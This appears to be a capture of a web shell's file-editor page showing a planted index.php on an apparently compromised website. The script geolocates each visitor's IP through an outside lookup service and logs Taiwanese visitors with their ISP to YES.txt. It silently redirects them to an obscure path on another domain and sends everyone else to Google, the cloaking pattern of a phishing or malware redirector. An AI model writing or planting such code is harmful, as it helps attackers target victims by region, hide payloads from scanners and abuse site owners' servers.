Edit file

File name : index.php

Content :

<?php
date_default_timezone_set('Europe/Bucharest');
$dt=date("d-m-Y H:i:s"); 
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = @$_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP)){
    $ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)){
    $_SESSION['_ip_'] = $ip = $forward;
}
else{
    $_SESSION['_ip_'] = $ip = $remote;
}
$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$_SESSION['_ip_']));
$LOOKUP_COUNTRY = $IP_LOOKUP->country;
$LOOKUP_CNTRCODE = $IP_LOOKUP->countryCode;
$LOOKUP_CITY    = $IP_LOOKUP->city;
$LOOKUP_REGION  = $IP_LOOKUP->region;
$LOOKUP_STATE   = $IP_LOOKUP->regionName;
$LOOKUP_ZIPCODE = $IP_LOOKUP->zip;
$LOOKUP_ISP     = $IP_LOOKUP->isp;
$_SESSION['_LOOKUP_ISP_'] = $LOOKUP_ISP;
$_SESSION['_LOOKUP_COUNTRY_'] = $LOOKUP_COUNTRY;
$_SESSION['_LOOKUP_CNTRCODE_']= $LOOKUP_CNTRCODE;
$_SESSION['_LOOKUP_CITY_']    = $LOOKUP_CITY;
$_SESSION['_LOOKUP_REGION_']  = $LOOKUP_REGION;
$_SESSION['_LOOKUP_STATE_']   = $LOOKUP_STATE;
$_SESSION['_LOOKUP_ZIPCODE_'] = $LOOKUP_ZIPCODE;
$_SESSION['_LOOKUP_REGIONS_'] = $_SESSION['_LOOKUP_STATE_']."(".$_SESSION['_LOOKUP_REGION_'].")";
$_SESSION['_forlogin_'] = $_SESSION['_LOOKUP_CNTRCODE_']." - ".$_SESSION['_ip_'];

$nbr = strcmp($LOOKUP_CNTRCODE,"TW");

if($nbr == 0)
{
	$unezz = fopen("YES.txt","a");
    fwrite($unezz,"[".$dt."] ".$_SESSION['_LOOKUP_CNTRCODE_']." - ".$_SESSION['_ip_']." - ".$_SESSION['_LOOKUP_ISP_']."\n");
	echo("<meta http-equiv='refresh' content='0;url=https://cecedille.fr/ZyxP28gf2dv5w/'>");
	
}else{
	
	echo("<meta http-equiv='refresh' content='0;url=https://www.google.com'>");
}

TERMOREK-IT SHELL 403

Edit file